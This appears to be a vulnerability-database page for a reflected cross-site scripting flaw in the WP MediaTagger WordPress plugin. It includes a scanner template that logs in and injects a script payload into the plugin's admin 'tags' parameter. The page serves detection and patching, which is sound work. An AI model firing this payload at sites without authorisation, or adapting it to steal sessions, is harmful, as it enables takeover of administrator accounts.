/Vulnerability Library

WP MediaTagger <= 4.1.1 - Cross-Site Scripting

CVE-2024-13112
Verified

Description

WP MediaTagger WordPress plugin <= 4.1.1 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires user interaction or victim to visit a malicious link.

Severity

Medium

CVSS Score

6.1

Exploit Probability

2%

Affected Product

wp_mediatagger

Published Date

February 5, 2026

Template Author

sourabh-sahu

CVE-2024-13112.yaml
id: CVE-2024-13112

info:
  name: WP MediaTagger <= 4.1.1 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP MediaTagger WordPress plugin <= 4.1.1 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires user interaction or victim to visit a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of WP MediaTagger plugin that addresses this issue.
  reference:
    - https://wpscan.com/vulnerability/155df231-30ef-47bb-aa91-a7deb1779bd1/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13112
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13112
    cwe-id: CWE-79
    epss-score: 0.01546
    epss-percentile: 0.81613
    cpe: cpe:2.3:a:phd38:wp_mediatagger:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phd38
    product: wp_mediatagger
  tags: cve,cve2024,wp-mediatagger,wp,wp-plugin,wordpress,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=mediatagger_database&tags=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "></script><script>alert(document.domain)</script><script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100bf65787d194b2cfd99d8bcb4c2166790f12e16ac87b7b71ccf2d03487fe144d4022038e5839efc3f2041998a3b48299f2cc55af6b849f9914f97986b5c3b7bdde05b:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13112
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/155df231-30ef-47bb-aa91-a7deb1779bd1/https://nvd.nist.gov/vuln/detail/CVE-2024-13112

Remediation Steps

Update to the latest version of WP MediaTagger plugin that addresses this issue.